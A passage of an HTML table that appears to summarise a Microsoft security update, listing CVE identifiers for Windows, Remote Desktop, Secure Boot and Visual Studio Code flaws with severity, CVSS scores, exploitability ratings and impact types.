  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
